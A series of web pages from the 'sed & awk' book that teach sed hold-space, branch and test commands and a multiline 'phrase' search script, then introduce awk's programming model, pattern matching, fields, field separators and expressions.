This script also illustrates how to use addressing to set up exclusive addresses, in which a line must match one or the other address. You can also set up addresses to handle various exceptions in the input and thereby improve the reliability of a script. For instance, in the previous script, what happens if the last line in the input file is not blank? All the lines collected since the last blank line will not be output. There are several ways to handle this, but a rather clever one is to manufacture a blank line that the blank-line procedure will match later in the script. In other words, if the last line contains a line of text, we will copy the text to the hold space and clear the contents of the pattern space with the substitute command. We make the current line blank so that it matches the procedure that outputs what has been collected in the hold space. Here's the procedure:

${
/^$/!{
     H
     s/.*//
     }
}

This procedure must be placed in the script before the two procedures shown earlier. The addressing symbol "$" matches only the last line in the file. Inside this procedure, we test for lines that are not blank. If the line is blank, we don't have to do anything with it. If the current line is not blank, then we append it to the hold space. This is what we do in the other procedure that matches a non-blank line. Then we use the substitute command to create a blank line in the pattern space.

Upon exiting this procedure, there is a blank line in the pattern space. It matches the subsequent procedure for blank lines that adds the HTML paragraph codes and outputs the paragraph.

Previous: 6.2 A Case for Study | sed & awk | Next: 6.4 Advanced Flow Control Commands
6.2 A Case for Study | Book Index | 6.4 Advanced Flow Control Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.4 Advanced Flow Control Commands

sed & awk

sed & awkSearch this book
Previous: 6.3 Hold That Line Chapter 6
Advanced sed Commands 		Next: 6.5 To Join a Phrase

6.4 Advanced Flow Control Commands

You have already seen several examples of changes in sed's normal flow control. In this section, we'll look at two commands that allow you to direct which portions of the script get executed and when. The branch (b) and test (t) commands transfer control in a script to a line containing a specified label. If no label is specified, control passes to the end of the script. The branch command transfers control unconditionally while the test command is a conditional transfer, occurring only if a substitute command has changed the current line.

A label is any sequence of up to seven characters.[1] A label is put on a line by itself that begins with a colon:

[1] The POSIX standard says that an implementation can allow longer labels if it wishes to. GNU sed allows labels to be of any length.

:mylabel

There are no spaces permitted between the colon and the label. Spaces at the end of the line will be considered part of the label. When you specify the label in a branch or test command, a space is permitted between the command and the label itself:

b mylabel

Be sure you don't put a space after the label.

6.4.1 Branching

The branch command allows you to transfer control to another line in the script.

[address]b[label]

The label is optional, and if not supplied, control is transferred to the end of the script. If a label is supplied, execution resumes at the line following the label.

In Chapter 4, Writing sed Scripts, we looked at a typesetting script that transformed quotation marks and hyphens into their typesetting counterparts. If we wanted to avoid making these changes on certain lines, then we could use the branch command to skip that portion of the script. For instance, text inside computer-generated examples marked by the .ES and .EE macros should not be changed. Thus, we could write the previous script like this:

/^\.ES/,/^\.EE/b
s/^"/``/
s/"$/''/
s/"?   /''?   /g
.
.
.
s/\\(em\\^"/\\(em``/g
s/"\\(em/''\\(em/g
s/\\(em"/\\(em``/g
s/@DQ@/"/g

Because no label is supplied, the branch command branches to the end of the script, skipping all subsequent commands.

The branch command can be used to execute a set of commands as a procedure, one that can be called repeatedly from the main body of the script. As in the case above, it also allows you to avoid executing the procedure at all based on matching a pattern in the input.

You can have a similar effect by using ! and grouping a set of commands. The advantage of the branch command over ! for our application is that we can more easily specify multiple conditions to avoid. The ! symbol can apply to a single command, or it can apply to a set of commands enclosed in braces that immediately follows. The branch command, on the other hand, gives you almost unlimited control over movement around the script.

For example, if we are using multiple macro packages, there may be other macro pairs besides .ES and .EE that define a range of lines that we want to avoid altogether. So, for example, we can write:

/^\.ES/,/^\.EE/b
/^\.PS/,/^\.PE/b
/^\.G1/,/^\.G2/b

To get a good idea of the types of flow control possible in a sed script, let's look at some simple but abstract examples. The first example shows you how to use the branch command to create a loop. Once an input line is read, command1 and command2 will be applied to the line; afterwards, if the contents of the pattern space match the pattern, then control will be passed to the line following the label "top," which means command1 then command2 will be executed again.

:top
command1
command2
/pattern/b top
command3

The script executes command3 only if the pattern doesn't match. All three commands will be executed, although the first two may be executed multiple times.

In the next example, command1 is executed. If the pattern is matched, control passes to the line following the label "end." This means command2 is skipped.

command1
/pattern/b end
command2
:end
command3

In all cases, command1 and command3 are executed.

Now let's look at how to specify that either command2 or command3 are executed, but not both. In the next script, there are two branch commands.

command1
/pattern/b dothree
command2
b
:dothree
command3

The first branch command transfers control to command3. If that pattern is not matched, then command2 is executed. The branch command following command2 sends control to the end of the script, bypassing command3. The first of the branch commands is conditional upon matching the pattern; the second is not. We will look at a "real-world" example after looking at the test command.

6.4.2 The Test Command

The test command branches to a label (or the end of the script) if a successful substitution has been made on the currently addressed line. Thus, it implies a conditional branch. Its syntax follows:

[address]t[label]

If no label is supplied, control falls through to the end of the script. If the label is supplied, then execution resumes at the line following the label.

Let's look at an example from Tim O'Reilly. He was trying to generate automatic index entries based on evaluating the arguments in a macro that produced the top of a command reference page. If there were three quoted arguments, he wanted to do something different than if there were two or only one. The task was to try to match each of these cases in succession (3,2,1) and when a successful substitution was made, avoid making any further matches. Here's Tim's script:

/\.Rh 0/{
s/"\(.*\)" "\(.*\)" "\(.*\)"/"\1" "\2" "\3"/
t
s/"\(.*\)" "\(.*\)"/"\1" "\2"/
t
s/"\(.*\)"/"\1"/
}

The test command allows us to drop to the end of the script once a substitution has been made. If there are three arguments on the .Rh line, the test command after the first substitute command will be true, and sed will go on to the next input line. If there are fewer than three arguments, no substitution will be made, the test command will be evaluated false, and the next substitute command will be tried. This will be repeated until all the possibilities are used up.

The test command provides functionality similar to a case statement in the C programming language or the shell programming languages. You can test each case and when a case proves true, then you exit the construct.

If the above script were part of a larger script, we could use a label, perhaps tellingly named "break," to drop to the end of the command grouping where additional commands can be applied.

/\.Rh 0/{
s/"\(.*\)" "\(.*\)" "\(.*\)"/"\1" "\2" "\3"/
t break
.
.
.
}
:break
more commands

The next section gives a full example of the test command and the use of labels.

6.4.3 One More Case

Remember Lenny? He was the fellow given the task of converting Scribe documents to troff. We had sent him the following script:

# Scribe font change script.
s/@f1(\([^)]*\))/\\fB\1\\fR/g
/@f1(.*/{
N
s/@f1(\(.*\n[^)]*\))/\\fB\1\\fR/g
P
D
}

He sent the following mail after using the script:

Thank you so much!  You've not only fixed the script but shown me
where I was confused about the way it works.  I can repair the
conversion script so that it works with what you've done, but to be
optimal it should do two more things that I can't seem to get working
at all - maybe it's hopeless and I should be content with what's
there.

First, I'd like to reduce multiple blank lines down to one.
Second, I'd like to make sed match the pattern over more than two
(say, even only three) lines.

Thanks again.

Lenny

The first request to reduce a series of blank lines to one has already been shown in this chapter. The following four lines perform this function:

/^$/{
N
/^\n$/D
}

We want to look mainly at accomplishing the second request. Our previous font-change script created a two-line pattern space, tried to make the match across those lines, and then output the first line. The second line became the first line in the pattern space and control passed to the top of the script where another line was read in.

We can use labels to set up a loop that reads multiple lines and makes it possible to match a pattern across multiple lines. The following script sets up two labels: begin at the top of the script and again near the bottom. Look at the improved script:

# Scribe font change script.  New and Improved.
:begin
/@f1(\([^)]*\))/{
s//\\fB\1\\fR/g
b begin
}
/@f1(.*/{
N
s/@f1(\([^)]*\n[^)]*\))/\\fB\1\\fR/g
t again
b begin
}
:again
P
D

Let's look more closely at this script, which has three parts. Beginning with the line that follows :begin, the first part attempts to match the font change syntax if it is found completely on one line. After making the substitution, the branch command transfers control back to the label begin. In other words, once we have made a match, we want to go back to the top and look for other possible matches, including the instruction that has already been applied - there could be multiple occurrences on the line.

The second part attempts to match the pattern over multiple lines. The Next command builds a multiple line pattern space. The substitution command attempts to locate the pattern with an embedded newline. If it succeeds, the test command passes control to the line following the again label. If no substitution is made, control is passed to the line following the label begin so that we can read in another line. This is a loop that goes into effect when we've matched the beginning sequence of a font change request but have not yet found the ending sequence. Sed will loop back and keep appending lines into the pattern space until a match has been found.

The third part is the procedure following the label again. The first line in the pattern space is output and then deleted. Like the previous version of this script, we deal with multiple lines in succession. Control never reaches the bottom of the script but is redirected by the Delete command to the top of the script.

Previous: 6.3 Hold That Line | sed & awk | Next: 6.5 To Join a Phrase
6.3 Hold That Line | Book Index | 6.5 To Join a Phrase
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.5 To Join a Phrase

sed & awk

sed & awkSearch this book
Previous: 6.4 Advanced Flow Control Commands Chapter 6
Advanced sed Commands 		Next: 7. Writing Scripts for awk

6.5 To Join a Phrase

We have covered all the advanced constructs of sed and are now ready to look at a shell script named phrase that uses nearly all of them. This script is a general-purpose, grep-like program that allows you to look for a series of multiple words that might appear across two lines.

An essential element of this program is that, like grep, it prints out only the lines that match the pattern. You might think we'd use the -n option to suppress the default output of lines. However, what is unusual about this sed script is that it creates an input/output loop, controlling when a line is output or not.

The logic of this script is to first look for the pattern on one line and print the line if it matches. If no match is found, we read another line into the pattern space (as in previous multiline scripts). Then we copy the two-line pattern space to the hold space for safekeeping. Now the new line that was read into the pattern space previously could match the search pattern on its own, so the next match we attempt is on the second line only. Once we've determined that the pattern is not found on either the first or second lines, we remove the newline between the two lines and look for it spanning those lines.

The script is designed to accept arguments from the command line. The first argument is the search pattern. All other command-line arguments will be interpreted as filenames. Let's look at the entire script before analyzing it:

#! /bin/sh
# phrase -- search for words across lines
# $1 = search string; remaining args = filenames
search=$1
shift
for file
do
sed '
/'"$search"'/b
N
h
s/.*\n//
/'"$search"'/b
g
s/ *\n/ /
/'"$search"'/{
g
b
}
g
D' $file
done

A shell variable named search is assigned the first argument on the command line, which should be the search pattern. This script shows another method of passing a shell variable into a script. Here we surround the variable reference with a pair of double quotes and then single quotes. Notice the script itself is enclosed in single quotes, which protect characters that are normally special to the shell from being interpreted. The sequence of a double-quote pair inside a single-quote pair[2] makes sure the enclosed argument is evaluated first by the shell before the sed script is evaluated by sed.[3]

[2] Actually, this is the concatenation of single-quoted text with double-quoted text with more single-quoted text (and so on, whew!) to produce one large quoted string. Being a shell wizard helps here.

[3] You can also use shell variables to pass a series of commands into a sed script. This somewhat simulates a procedure call but it makes the script more difficult to read.

The sed script tries to match the search string at three different points, each marked by the address that looks for the search pattern. The first line of the script looks for the search pattern on a line by itself:

/'"$search"'/b

If the search pattern matches the line, the branch command, without a label, transfers control to the bottom of the script where the line is printed. This makes use of sed's normal control-flow so that the next input line is read into the pattern space and control then returns to the top of the script. The branch command is used in the same way each time we try to match the pattern.

If a single input line does not match the pattern, we begin our next procedure to create a multiline pattern space. It is possible that the new line, by itself, will match the search string. It may not be apparent why this step is necessary - why not just immediately look for the pattern anywhere across two lines? The reason is that if the pattern is actually matched on the second line, we'd still output the pair of lines. In other words, the user would see the line preceding the matched line and might be confused by it. This way we output the second line by itself if that is what matches the pattern.

N
h
s/.*\n//
/'"$search"'/b

The Next command appends the next input line to the pattern space. The hold command places a copy of the two-line pattern space into the hold space. The next action will change the pattern space and we want to preserve the original intact. Before looking for the pattern, we use the substitute command to remove the previous line, up to and including the embedded newline. There are several reasons for doing it this way and not another way, so let's consider some of the alternatives. You could write a pattern that matches the search pattern only if it occurs after the embedded newline:

/\n.*'"$search"'/b

However, if a match is found, we don't want to print the entire pattern space, just the second portion of it. Using the above construct would print both lines when only the second line matches.

You might want to use the Delete command to remove the first line in the pattern space before trying to match the pattern. A side effect of the Delete command is a change in flow control that would resume execution at the top of the script. (The Delete command could conceivably be used but not without changing the logic of this script.)

So, we try to match the pattern on the second line, and if that is unsuccessful, then we try to match it across two lines:

g
s/ *\n/ /
/'"$search"'/{
g
b
}

The get command retrieves a copy of the original two-line pair from the hold space, overwriting the line we had worked with in the pattern space. The substitute command replaces the embedded newline and any spaces preceding it with a single space. Then we attempt to match the pattern. If the match is made, we don't want to print the contents of the pattern space, but rather get the duplicate from the hold space (which preserves the newline) and print it. Thus, before branching to the end of the script, the get command retrieves the copy from the hold space.

The last part of the script is executed only if the pattern has not been matched.

g
D

The get command retrieves the duplicate, that preserves the newline, from the hold space. The Delete command removes the first line in the pattern space and passes control back to the top of the script. We delete only the first part of the pattern space, instead of clearing it, because after reading another input line, it is possible to match the pattern spanning across both lines.

Here's the result when the program is run on a sample file:

$ phrase "the procedure is followed" sect3
If a pattern is followed by a \f(CW!\fP, then the procedure
is followed for all lines that do not match the pattern.
so that the procedure is followed only if there is no match.

As we mentioned at the outset, writing sed scripts is a good primer for programming. In the chapters that follow, we will be looking at the awk programming language. You will see many similarities to sed to make you comfortable but you will see a broader range of constructs for writing useful programs. As you begin trying to do more complicated tasks with sed, the scripts get so convoluted as to make them difficult to understand. One of the advantages of awk is that it handles complexity better, and once you learn the basics, awk scripts are easier to write and understand.

Previous: 6.4 Advanced Flow Control Commands | sed & awk | Next: 7. Writing Scripts for awk
6.4 Advanced Flow Control Commands | Book Index | 7. Writing Scripts for awk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] Writing Scripts for awk

sed & awk

sed & awkSearch this book
Previous: 6.5 To Join a Phrase Chapter 7 Next: 7.2 Hello, World

7. Writing Scripts for awk

Contents:
Playing the Game
Hello, World
Awk's Programming Model
Pattern Matching
Records and Fields
Expressions
System Variables
Relational and Boolean Operators
Formatted Printing
Passing Parameters Into a Script
Information Retrieval

As mentioned in the preface, this book describes POSIX awk; that is, the awk language as specified by the POSIX standard. Before diving into the details, we'll provide a bit of history.

The original awk was a nice little language. It first saw the light of day with Version 7 UNIX, around 1978. It caught on, and people used it for significant programming.

In 1985, the original authors, seeing that awk was being used for more serious programming than they had ever intended, decided to beef up the language. (See Chapter 11, A Flock of awks, for a description of the original awk, and all the things it did not have when compared to the new one.) The new version was finally released to the world at large in 1987, and it is this version that is still found on SunOS 4.1.x systems.

In 1989, for System V Release 4, awk was updated in some minor ways.[1] This version became the basis for the awk feature list in the POSIX standard. POSIX clarified a number of things about awk, and added the CONVFMT variable (to be discussed later in this chapter).

[1] The -v option and tolower() and toupper() functions were added, and srand() and printf were cleaned up. The details will be presented in this and the following chapters.

As you read the rest of this book, bear in mind that the term awk refers to POSIX awk, and not to any particular implementation, whether the original one from Bell Labs, or any of the others discussed in Chapter 11. However, in the few cases where different versions have fundamental differences of behavior, that will be pointed out in the main body of the discussion.

7.1 Playing the Game

To write an awk script, you must become familiar with the rules of the game. The rules can be stated plainly and you will find them described in Appendix B, Quick Reference for awk, rather than in this chapter. The goal of this chapter is not to describe the rules but to show you how to play the game. In this way, you will become acquainted with many of the features of the language and see examples that illustrate how scripts actually work. Some people prefer to begin by reading the rules, which is roughly equivalent to learning to use a program from its manual page or learning to speak a language by scanning its rules of grammar - not an easy task. Having a good grasp of the rules, however, is essential once you begin to use awk regularly. But the more you use awk, the faster the rules of the game become second nature. You learn them through trial and error - spending a long time trying to fix a silly syntax error such as a missing space or brace has a magical effect upon long-term memory. Thus, the best way to learn to write scripts is to begin writing them. As you make progress writing scripts, you will no doubt benefit from reading the rules (and rereading them) in Appendix B or the awk manpage or The AWK Programming Language book. You can do that later - let's get started now.

Previous: 6.5 To Join a Phrase | sed & awk | Next: 7.2 Hello, World
6.5 To Join a Phrase | Book Index | 7.2 Hello, World
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.2 Hello, World

sed & awk

sed & awkSearch this book
Previous: 7.1 Playing the Game Chapter 7
Writing Scripts for awk 		Next: 7.3 Awk's Programming Model

7.2 Hello, World

It has become a convention to introduce a programming language by demonstrating the "Hello, world" program. Showing how this program works in awk will demonstrate just how unconventional awk is. In fact, it's necessary to show several different approaches to printing "Hello, world."

In the first example, we create a file named test that contains a single line. This example shows a script that contains the print statement:

$ echo 'this line of data is ignored' > test
$ awk '{ print "Hello, world" }' test
Hello, world

This script has only a single action, which is enclosed in braces. That action is to execute the print statement for each line of input. In this case, the test file contains only a single line; thus, the action occurs once. Note that the input line is read but never output.

Now let's look at another example. Here, we use a file that contains the line "Hello, world."

$ cat test2
Hello, world
$ awk '{ print }' test2
Hello, world

In this example, "Hello, world" appears in the input file. The same result is achieved because the print statement, without arguments, simply outputs each line of input. If there were additional lines of input, they would be output as well.

Both of these examples illustrate that awk is usually input-driven. That is, nothing happens unless there are lines of input on which to act. When you invoke the awk program, it reads the script that you supply, checking the syntax of your instructions. Then awk attempts to execute the instructions for each line of input. Thus, the print statement will not be executed unless there is input from the file.

To verify this for yourself, try entering the command line in the first example but omit the filename. You'll find that because awk expects input to come from the keyboard, it will wait until you give it input to process: press RETURN several times, then type an EOF (CTRL-D on most systems) to signal the end of input. For each time that you pressed RETURN, the action that prints "Hello, world" will be executed.

There is yet another way to write the "Hello, world" message and not have awk wait for input. This method associates the action with the BEGIN pattern. The BEGIN pattern specifies actions that are performed before the first line of input is read.

$ awk 'BEGIN { print "Hello, world" }'
Hello, world

Awk prints the message, and then exits. If a program has only a BEGIN pattern, and no other statements, awk will not process any input files.

Previous: 7.1 Playing the Game | sed & awk | Next: 7.3 Awk's Programming Model
7.1 Playing the Game | Book Index | 7.3 Awk's Programming Model
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.3 Awk's Programming Model

sed & awk

sed & awkSearch this book
Previous: 7.2 Hello, World Chapter 7
Writing Scripts for awk 		Next: 7.4 Pattern Matching

7.3 Awk's Programming Model

It's important to understand the basic model that awk offers the programmer. Part of the reason why awk is easier to learn than many programming languages is that it offers such a well-defined and useful model to the programmer.

An awk program consists of what we will call a main input loop. A loop is a routine that is executed over and over again until some condition exists that terminates it. You don't write this loop, it is given - it exists as the framework within which the code that you do write will be executed. The main input loop in awk is a routine that reads one line of input from a file and makes it available for processing. The actions you write to do the processing assume that there is a line of input available. In another programming language, you would have to create the main input loop as part of your program. It would have to open the input file and read one line at a time. This is not necessarily a lot of work, but it illustrates a basic awk shortcut that makes it easier for you to write your program.

The main input loop is executed as many times as there are lines of input. As you saw in the "Hello, world" examples, this loop does not execute until there is a line of input. It terminates when there is no more input to be read.

Awk allows you to write two special routines that can be executed before any input is read and after all input is read. These are the procedures associated with the BEGIN and END rules, respectively. In other words, you can do some preprocessing before the main input loop is ever executed and you can do some postprocessing after the main input loop has terminated. The BEGIN and END procedures are optional.

You can think of an awk script as having potentially three major parts: what happens before, what happens during, and what happens after processing the input. Figure 7.1 shows the relationship of these parts in the flow of control of an awk script.

Figure 7.1: Flow and control in awk scripts

Of these three parts, the main input loop or "what happens during processing" is where most of the work gets done. Inside the main input loop, your instructions are written as a series of pattern/action procedures. A pattern is a rule for testing the input line to determine whether or not the action should be applied to it. The actions, as we shall see, can be quite complex, consisting of statements, functions, and expressions.

The main thing to remember is that each pattern/action procedure sits in the main input loop, which takes care of reading the input line. The procedures that you write will be applied to each input line, one line at a time.

Previous: 7.2 Hello, World | sed & awk | Next: 7.4 Pattern Matching
7.2 Hello, World | Book Index | 7.4 Pattern Matching
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.4 Pattern Matching

sed & awk

sed & awkSearch this book
Previous: 7.3 Awk's Programming Model Chapter 7
Writing Scripts for awk 		Next: 7.5 Records and Fields

7.4 Pattern Matching

The "Hello, world" program does not demonstrate the power of pattern-matching rules. In this section, we look at a number of small, even trivial examples that nonetheless demonstrate this central feature of awk scripts.

When awk reads an input line, it attempts to match each pattern-matching rule in a script. Only the lines matching the particular pattern are the object of an action. If no action is specified, the line that matches the pattern is printed (executing the print statement is the default action). Consider the following script:

/^$/ { print "This is a blank line." }

This script reads: if the input line is blank, then print "This is a blank line." The pattern is written as a regular expression that identifies a blank line. The action, like most of those we've seen so far, contains a single print statement.

If we place this script in a file named awkscr and use an input file named test that contains three blank lines, then the following command executes the script:

$ awk -f awkscr test
This is a blank line.
This is a blank line.
This is a blank line.

(From this point on, we'll assume that our scripts are placed in a separate file and invoked using the -f command-line option.) The result tells us that there are three blank lines in test. This script ignores lines that are not blank.

Let's add several new rules to the script. This script is now going to analyze the input and classify it as an integer, a string, or a blank line.

# test for integer, string or empty line.
/[0-9]+/    { print "That is an integer" }
/[A-Za-z]+/ { print "This is a string" }
/^$/        { print "This is a blank line." }

The general idea is that if a line of input matches any of these patterns, the associated print statement will be executed. The + metacharacter is part of the extended set of regular expression metacharacters and means "one or more." Therefore, a line containing a sequence of one or more digits will be considered an integer. Here's a sample run, taking input from standard input:

$ awk -f awkscr
4
That is an integer
t
This is a string
4T
That is an integer
This is a string
RETURN
This is a blank line.
44
That is an integer
CTRL-D
$

Note that input "4T" was identified as both an integer and a string. A line can match more than one rule. You can write a stricter rule set to prevent a line from matching more than one rule. You can also write actions that are designed to skip other parts of the script.

We will be exploring the use of pattern-matching rules throughout this chapter.

7.4.1 Describing Your Script

Adding comments as you write the script is a good practice. A comment begins with the "#" character and ends at a newline. Unlike sed, awk allows comments anywhere in the script.

NOTE: If you are supplying your awk program on the command line, rather than putting it in a file, do not use a single quote anywhere in your program. The shell would interpret it and become confused.

As we begin writing scripts, we'll use comments to describe the action:

#  blank.awk -- Print message for each blank line.
/^$/ { print "This is a blank line." }

This comment offers the name of the script, blank.awk, and briefly describes what the script does. A particularly useful comment for longer scripts is one that identifies the expected structure of the input file. For instance, in the next section, we are going to look at writing a script that reads a file containing names and phone numbers. The introductory comments for this program should be:

# blocklist.awk -- print name and address in block form.
# fields: name, company, street, city, state and zip, phone

It is useful to embed this information in the script because the script won't work unless the structure of the input file corresponds to that expected by the person who wrote the script.

Previous: 7.3 Awk's Programming Model | sed & awk | Next: 7.5 Records and Fields
7.3 Awk's Programming Model | Book Index | 7.5 Records and Fields
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.5 Records and Fields

sed & awk

sed & awkSearch this book
Previous: 7.4 Pattern Matching Chapter 7
Writing Scripts for awk 		Next: 7.6 Expressions

7.5 Records and Fields

Awk makes the assumption that its input is structured and not just an endless string of characters. In the simplest case, it takes each input line as a record and each word, separated by spaces or tabs, as a field. (The characters separating the fields are often referred to as delimiters.) The following record in the file names has three fields, separated by either a space or a tab.

John Robinson	666-555-1111

Two or more consecutive spaces and/or tabs count as a single delimiter.

7.5.1 Referencing and Separating Fields

Awk allows you to refer to fields in actions using the field operator $. This operator is followed by a number or a variable that identifies the position of a field by number. "$1" refers to the first field, "$2" to the second field, and so on. "$0" refers to the entire input record. The following example displays the last name first and the first name second, followed by the phone number.

$ awk '{ print $2, $1, $3 }' names
Robinson John 666-555-1111

$1 refers to the first name, $2 to the last name, and $3 to the phone number. The commas that separate each argument in the print statement cause a space to be output between the values. (Later on, we'll discuss the output field separator (OFS), whose value the comma outputs and which is by default a space.) In this example, a single input line forms one record containing three fields: there is a space between the first and last names and a tab between the last name and the phone number. If you wanted to grab the first and last name as a single field, you could set the field separator explicitly so that only tabs are recognized. Then, awk would recognize only two fields in this record.

You can use any expression that evaluates to an integer to refer to a field, not just numbers and variables.

$ echo a b c d | awk 'BEGIN { one = 1; two = 2 }
> { print $(one + two) }'
c

You can change the field separator with the -F option on the command line. It is followed by the delimiter character (either immediately, or separated by whitespace). In the following example, the field separator is changed to a tab.

$ awk -F"\t" '{ print $2 }' names
666-555-1111

"\t" is an escape sequence (discussed below) that represents an actual tab character. It should be surrounded by single or double quotes.

Commas delimit fields in the following two address records.

John Robinson,Koren Inc.,978 4th Ave.,Boston,MA 01760,696-0987
Phyllis Chapman,GVE Corp.,34 Sea Drive,Amesbury,MA 01881,879-0900

An awk program can print the name and address in block format.

# blocklist.awk -- print name and address in block form.
# input file -- name, company, street, city, state and zip, phone
{ 	print ""	# output blank line
    print $1	# name
    print $2	# company
    print $3	# street
    print $4, $5	# city, state zip
}

The first print statement specifies an empty string (@DQ@@DQ@) (remember, print by itself outputs the current line). This arranges for the records in the report to be separated by blank lines. We can invoke this script and specify that the field separator is a comma using the following command:

awk -F, -f blocklist.awk names

The following report is produced:

John Robinson
Koren Inc.
978 4th Ave.
Boston  MA 01760

Phyllis Chapman
GVE Corp.
34 Sea Drive
Amesbury  MA 01881

It is usually a better practice, and more convenient, to specify the field separator in the script itself. The system variable FS can be defined to change the field separator. Because this must be done before the first input line is read, we must assign this variable in an action controlled by the BEGIN rule.

BEGIN { FS = "," }

Now let's use it in a script to print out the names and phone numbers.

# phonelist.awk -- print name and phone number.
# input file -- name, company, street, city, state and zip, phone

BEGIN { FS = "," }  # comma-delimited fields

{ print $1 ", " $6 }

Notice that we use blank lines in the script itself to improve readability. The print statement puts a comma followed by a space between the two output fields. This script can be invoked from the command line:

$ awk -f phonelist.awk names
John Robinson, 696-0987
Phyllis Chapman, 879-0900

This gives you a basic idea of how awk can be used to work with data that has a recognizable structure. This script is designed to print all lines of input, but we could modify the single action by writing a pattern-matching rule that selected only certain names or addresses. So, if we had a large listing of names, we could select only the names of people residing in a particular state. We could write:

/MA/ { print $1 ", " $6 }

where MA would match the postal state abbreviation for Massachusetts. However, we could possibly match a company name or some other field in which the letters "MA" appeared. We can test a specific field for a match. The tilde (~) operator allows you to test a regular expression against a field.

$5 ~ /MA/   { print $1 ", " $6 }

You can reverse the meaning of the rule by using bang-tilde (!~).

$5 !~ /MA/   { print $1 ", " $6 }

This rule would match all those records whose fifth field did not have "MA" in it. A more challenging pattern-matching rule would be one that matches only long-distance phone numbers. The following regular expression looks for an area code.

$6 ~ /1?(-|   )?\(?[0-9]+\)?(   |-)?[0-9]+-[0-9]+/

This rule matches any of the following forms:

707-724-0000
(707) 724-0000
(707)724-0000
1-707-724-0000
1 707-724-0000
1(707)724-0000

The regular expression can be deciphered by breaking down its parts. "1?" means zero or one occurrences of "1". "(-| [image])?" looks for either a hyphen or a space in the next position, or nothing at all. "\(?" looks for zero or one left parenthesis; the backslash prevents the interpretation of "(" as the grouping metacharacter. "[0-9]+" looks for one or more digits; note that we took the lazy way out and specified one or more digits rather than exactly three. In the next position, we are looking for an optional right parenthesis, and again, either a space or a hyphen, or nothing at all. Then we look for one or more digits "[0-9]+" followed by a hyphen followed by one or more digits "[0-9]+".

7.5.2 Field Splitting: The Full Story

There are three distinct ways you can have awk separate fields. The first method is to have fields separated by whitespace. To do this, set FS equal to a single space. In this case, leading and trailing whitespace (spaces and/or tabs) are stripped from the record, and fields are separated by runs of spaces and/or tabs. Since the default value of FS is a single space, this is the way awk normally splits each record into fields.

The second method is to have some other single character separate fields. For example, awk programs for processing the UNIX /etc/passwd file usually use a ":" as the field separator. When FS is any single character, each occurrence of that character separates another field. If there are two successive occurrences, the field between them simply has the empty string as its value.

Finally, if you specify more than a single character as the field separator, it will be interpreted as a regular expression. That is, the field separator will be the "leftmost longest non-null and nonoverlapping" substring[2] that matches the regular expression. (The phrase "null string" is technical jargon for what we've been calling the "empty string.") You can see the difference between specifying:

[2] The AWK Programming Language [Aho], p. 60.

FS = "\t"

which causes each tab to be interpreted as a field separator, and:

FS = "\t+"

which specifies that one or more consecutive tabs separate a field. Using the first specification, the following line would have three fields:

abc\t\tdef

whereas the second specification would only recognize two fields. Using a regular expression allows you to specify several characters to be used as delimiters:

FS = "[':\t]"

Any of the three characters in brackets will be interpreted as the field separator.

Previous: 7.4 Pattern Matching | sed & awk | Next: 7.6 Expressions
7.4 Pattern Matching | Book Index | 7.6 Expressions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.6 Expressions

sed & awk

sed & awkSearch this book
Previous: 7.5 Records and Fields Chapter 7
Writing Scripts for awk 		Next: 7.7 System Variables

7.6 Expressions

The use of expressions in which you can store, manipulate, and retrieve data is quite different from anything you can do in sed, yet it is a common feature of most programming languages.

An expression is evaluated and returns a value. An expression consists of any combination of numeric and string constants, variables, operators, functions, and regular expressions. We covered regular expressions in detail in Chapter 2, Understanding Basic Operations, and they are summarized in Appendix B. Functions will be discussed fully in Chapter 9, Functions. In this section, we will look at expressions consisting of constants, variables, and operators.

There are two types of constants: string or numeric ("red" or 1). A string must be quoted in an expression. Strings can make use of the escape sequences listed in Table 7.1.

Table 7.1: Escape Sequences
Sequence | Description
\a | Alert character, usually ASCII BEL character
\b | Backspace
\f | Formfeed
\n | Newline
\r | Carriage return
\t | Horizontal tab
\v | Vertical tab
\ddd | Character represented as 1 to 3 digit octal value
\xhex | Character represented as hexadecimal value[3]
\c | Any literal character c (e.g., \" for ")[4]

[3] POSIX does not provide "\x", but it is commonly available.

[4] Like ANSI C, POSIX leaves purposely undefined what you get when you put a backslash before any character not listed in the table. In most awks, you just get that character.

A variable is an identifier that references a value. To define a variable, you only have to name it and assign it a value. The name can only contain letters, digits, and underscores, and may not start with a digit. Case distinctions in variable names are important: Salary and salary are two different variables. Variables are not declared; you do not have to tell awk what type of value will be stored in a variable. Each variable has a string value and a numeric value, and awk uses the appropriate value based on the context of the expression. (Strings that do not consist of numbers have a numeric value of 0.) Variables do not have to be initialized; awk automatically initializes them to the empty string, which acts like 0 if used as a number. The following expression assigns a value to x:

x = 1

x is the name of the variable, = is an assignment operator, and 1 is a numeric constant.

The following expression assigns the string "Hello" to the variable z:

z = "Hello"

A space is the string concatenation operator. The expression:

z = "Hello" "World"

concatenates the two strings and assigns "HelloWorld" to the variable z.

The dollar sign ($) operator is used to reference fields. The following expression assigns the value of the first field of the current input record to the variable w:

w = $1

A variety of operators can be used in expressions. Arithmetic operators are listed in Table 7.2.

Table 7.2: Arithmetic Operators
Operator | Description
+ | Addition
- | Subtraction
* | Multiplication
